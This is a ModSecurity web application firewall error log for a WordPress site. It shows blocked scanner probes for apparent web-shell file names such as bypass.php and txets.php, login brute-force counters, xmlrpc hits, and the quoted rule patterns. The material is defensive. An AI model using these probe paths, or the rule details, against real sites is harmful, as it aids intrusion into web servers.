[Fri Apr 03 20:23:00.600846 2026] [:error] [pid 55174:tid 55179] [client 172.161.140.213:57214] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file88.php"] [unique_id "ac-xJJ_WKqUonPNUHYzlCQAAAcM"]
[Fri Apr 03 20:23:01.123061 2026] [:error] [pid 35469:tid 35475] [client 172.161.140.213:59484] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file88.php"] [unique_id "ac-xJaGvTIc8-wY3jURp9QAAAQQ"]
[Fri Apr 03 20:23:01.721308 2026] [:error] [pid 35469:tid 35473] [client 172.161.140.213:57162] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "ac-xJaGvTIc8-wY3jURp-QAAAQI"]
[Fri Apr 03 20:23:02.269901 2026] [:error] [pid 40533:tid 40553] [client 172.161.140.213:57163] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "ac-xJvbIAA8AViDmwsukPAAAAVI"]
[Fri Apr 03 20:23:03.210656 2026] [:error] [pid 33542:tid 33552] [client 172.161.140.213:45510] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "ac-xJ3wb6uB1LaGtepbvHgAAAMc"]
[Fri Apr 03 20:23:03.832951 2026] [:error] [pid 35469:tid 35471] [client 172.161.140.213:57164] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "ac-xJ6GvTIc8-wY3jURqBwAAAQA"]
[Fri Apr 03 20:23:04.581634 2026] [:error] [pid 33447:tid 33507] [client 172.161.140.213:45533] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/network.php"] [unique_id "ac-xKEgaPmDHz92j4lM_TgAAAIM"]
[Fri Apr 03 20:23:05.397663 2026] [:error] [pid 40562:tid 40567] [client 172.161.140.213:40440] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/network.php"] [unique_id "ac-xKTfFMXuP9zvqCepxfwAAAYI"]
[Fri Apr 03 20:23:06.151958 2026] [:error] [pid 40562:tid 40580] [client 172.161.140.213:59508] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/network.php"] [unique_id "ac-xKjfFMXuP9zvqCepxgwAAAY8"]
[Fri Apr 03 20:23:06.851925 2026] [:error] [pid 33445:tid 33461] [client 172.161.140.213:50760] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/network.php"] [unique_id "ac-xKllRNZ0iDVmJWM3wUwAAAAs"]
[Fri Apr 03 20:23:08.101562 2026] [:error] [pid 33445:tid 33474] [client 172.161.140.213:56629] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aifa.php"] [unique_id "ac-xLFlRNZ0iDVmJWM3wVQAAABg"]
[Fri Apr 03 20:23:09.101449 2026] [:error] [pid 33446:tid 33499] [client 172.161.140.213:45560] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aifa.php"] [unique_id "ac-xLdg3dCqFYIIdw0pHdgAAAFY"]
[Fri Apr 03 20:23:10.592610 2026] [:error] [pid 40562:tid 40565] [client 172.161.140.213:57186] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aifa.php"] [unique_id "ac-xLjfFMXuP9zvqCepxlAAAAYA"]
[Fri Apr 03 20:23:11.497452 2026] [:error] [pid 40562:tid 40588] [client 172.161.140.213:43138] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aifa.php"] [unique_id "ac-xLzfFMXuP9zvqCepxlgAAAZc"]
[Fri Apr 03 20:23:14.362106 2026] [:error] [pid 33446:tid 33481] [client 172.161.140.213:50796] [client 172.161.140.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/app.php"] [unique_id "ac-xMtg3dCqFYIIdw0pHgwAAAEQ"]
[Fri Apr 03 20:23:32.469478 2026] [:error] [pid 33446:tid 33496] [client 172.161.140.213:47329] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "ac-xRNg3dCqFYIIdw0pH1gAAAFM"]
[Fri Apr 03 20:23:41.072379 2026] [:error] [pid 55174:tid 55178] [client 172.161.140.213:57182] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "ac-xTZ_WKqUonPNUHYzlJgAAAcI"]
[Fri Apr 03 20:23:41.915937 2026] [:error] [pid 40562:tid 40570] [client 172.161.140.213:47401] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "ac-xTTfFMXuP9zvqCepxvwAAAYU"]
[Fri Apr 03 20:23:42.704942 2026] [:error] [pid 33445:tid 33472] [client 172.161.140.213:5597] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "ac-xTllRNZ0iDVmJWM3wkwAAABY"]
[Fri Apr 03 20:23:43.883315 2026] [:error] [pid 35469:tid 35488] [client 172.161.140.213:43152] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "ac-xT6GvTIc8-wY3jURqpwAAARE"]
[Fri Apr 03 20:23:45.080014 2026] [:error] [pid 33445:tid 33471] [client 172.161.140.213:57204] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "ac-xUVlRNZ0iDVmJWM3wnAAAABU"]
[Fri Apr 03 20:23:46.039063 2026] [:error] [pid 40562:tid 40577] [client 172.161.140.213:56616] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "ac-xUjfFMXuP9zvqCepxxQAAAYw"]
[Fri Apr 03 20:23:46.631593 2026] [:error] [pid 33445:tid 33466] [client 172.161.140.213:50780] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "ac-xUllRNZ0iDVmJWM3woQAAABA"]
[Fri Apr 03 20:23:47.274280 2026] [:error] [pid 40562:tid 40578] [client 172.161.140.213:57208] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac-xUzfFMXuP9zvqCepxxwAAAY0"]
[Fri Apr 03 20:23:47.816160 2026] [:error] [pid 33542:tid 33556] [client 172.161.140.213:50806] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac-xU3wb6uB1LaGtepbvQQAAAMs"]
[Fri Apr 03 20:23:48.463133 2026] [:error] [pid 33445:tid 33473] [client 172.161.140.213:47375] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac-xVFlRNZ0iDVmJWM3wqAAAABc"]
[Fri Apr 03 20:23:48.957299 2026] [:error] [pid 33446:tid 33484] [client 172.161.140.213:47334] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac-xVNg3dCqFYIIdw0pH_QAAAEc"]
[Fri Apr 03 20:23:49.632536 2026] [:error] [pid 33542:tid 33552] [client 172.161.140.213:43164] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "ac-xVXwb6uB1LaGtepbvSgAAAMc"]
[Fri Apr 03 20:23:50.284056 2026] [:error] [pid 33447:tid 33514] [client 172.161.140.213:57168] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "ac-xVkgaPmDHz92j4lM_kwAAAIo"]
[Fri Apr 03 20:23:50.792964 2026] [:error] [pid 35469:tid 35486] [client 172.161.140.213:50765] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "ac-xVqGvTIc8-wY3jURqwAAAAQ8"]
[Fri Apr 03 20:23:51.543032 2026] [:error] [pid 35469:tid 35494] [client 172.161.140.213:55431] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "ac-xV6GvTIc8-wY3jURqxwAAARc"]
[Fri Apr 03 20:48:33.644851 2026] [:error] [pid 33446:tid 33481] [client 176.123.6.121:47862] [client 176.123.6.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.123.6.121, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ac-3Idg3dCqFYIIdw0pYVAAAAEQ"]
[Fri Apr 03 20:48:35.901172 2026] [:error] [pid 33446:tid 33490] [client 176.123.6.121:47862] [client 176.123.6.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.123.6.121, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ac-3I9g3dCqFYIIdw0pYYQAAAE0"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 03 21:42:19.516291 2026] [:error] [pid 33445:tid 33474] [client 45.92.1.144:62892] [client 45.92.1.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "ac_Du1lRNZ0iDVmJWM0UJwAAABg"]
[Fri Apr 03 21:42:19.997875 2026] [:error] [pid 35469:tid 35492] [client 45.92.1.144:58131] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ac_Du6GvTIc8-wY3jUSoowAAARU"]
[Fri Apr 03 21:42:20.485561 2026] [:error] [pid 33446:tid 33499] [client 45.92.1.144:63420] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ac_DvNg3dCqFYIIdw0p4awAAAFY"]
[Fri Apr 03 21:42:20.964891 2026] [:error] [pid 33446:tid 33488] [client 45.92.1.144:54569] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ac_DvNg3dCqFYIIdw0p4bwAAAEs"]
[Fri Apr 03 21:42:21.451317 2026] [:error] [pid 33446:tid 33492] [client 45.92.1.144:50314] [client 45.92.1.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "ac_Dvdg3dCqFYIIdw0p4cwAAAE8"]
[Fri Apr 03 21:42:21.936041 2026] [:error] [pid 33446:tid 33494] [client 45.92.1.144:58403] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "ac_Dvdg3dCqFYIIdw0p4dwAAAFE"]
[Fri Apr 03 21:42:22.419317 2026] [:error] [pid 33447:tid 33515] [client 45.92.1.144:54693] [client 45.92.1.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "ac_DvkgaPmDHz92j4lNSNQAAAIs"]
[Fri Apr 03 21:42:22.907666 2026] [:error] [pid 33446:tid 33499] [client 45.92.1.144:52185] [client 45.92.1.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "ac_Dvtg3dCqFYIIdw0p4fwAAAFY"]
[Fri Apr 03 22:06:42.354739 2026] [:error] [pid 33445:tid 33463] [client 45.165.85.183:4542] [client 45.165.85.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.165.85.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac_JcllRNZ0iDVmJWM0iZgAAAA0"]
[Fri Apr 03 23:52:39.999179 2026] [:error] [pid 33447:tid 33517] [client 49.37.45.214:49599] [client 49.37.45.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.45.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac_iR0gaPmDHz92j4lNrOgAAAI0"]
[Fri Apr 03 23:54:05.151487 2026] [:error] [pid 35469:tid 35489] [client 49.37.45.214:51917] [client 49.37.45.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.45.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac_inaGvTIc8-wY3jUTP0wAAARI"]
[Fri Apr 03 23:55:30.399224 2026] [:error] [pid 33445:tid 33470] [client 49.37.45.214:56852] [client 49.37.45.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.45.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac_i8llRNZ0iDVmJWM1v1AAAABQ"]
[Fri Apr 03 23:56:49.656704 2026] [:error] [pid 55174:tid 55184] [client 49.37.45.214:61118] [client 49.37.45.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.45.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac_jQZ_WKqUonPNUHYwXqgAAAcg"]
[Fri Apr 03 23:58:09.234347 2026] [:error] [pid 33446:tid 33499] [client 49.37.45.214:65254] [client 49.37.45.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.45.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac_jkdg3dCqFYIIdw0qh3gAAAFY"]
[Sat Apr 04 00:50:22.118104 2026] [:error] [pid 12097:tid 12164] [client 129.121.72.237:41820] [client 129.121.72.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.121.72.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ac_vzhnkcvJ01y2CY3mZKgAAAMk"]
[Sat Apr 04 00:50:24.582129 2026] [:error] [pid 12097:tid 12175] [client 129.121.72.237:41820] [client 129.121.72.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.121.72.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ac_v0BnkcvJ01y2CY3mZLgAAANQ"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 04 02:03:46.411865 2026] [:error] [pid 12089:tid 12130] [client 188.166.237.126:38116] [client 188.166.237.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.237.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adABAkSCG1Z_hi7I_jJ4qQAAAIM"]
[Sat Apr 04 02:59:40.612693 2026] [:error] [pid 12097:tid 12172] [client 43.135.182.95:60586] [client 43.135.182.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adAOHBnkcvJ01y2CY3nbwQAAANE"]
[Sat Apr 04 03:34:13.976573 2026] [:error] [pid 44382:tid 44403] [client 129.121.72.237:36658] [client 129.121.72.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.121.72.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adAWNZpzSLFOX5FpZ8r67wAAABM"]
[Sat Apr 04 03:34:16.140491 2026] [:error] [pid 44382:tid 44401] [client 129.121.72.237:36658] [client 129.121.72.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.121.72.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adAWOJpzSLFOX5FpZ8r69AAAABE"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 04 04:44:55.896842 2026] [:error] [pid 37114:tid 37127] [client 168.63.57.185:20619] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adAmx8-DnSj3fGMexeJiyQAAAQs"]
[Sat Apr 04 04:44:56.539944 2026] [:error] [pid 2459:tid 2554] [client 168.63.57.185:13913] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adAmyAefyCmu4LR_PlpW6AAAAJY"]
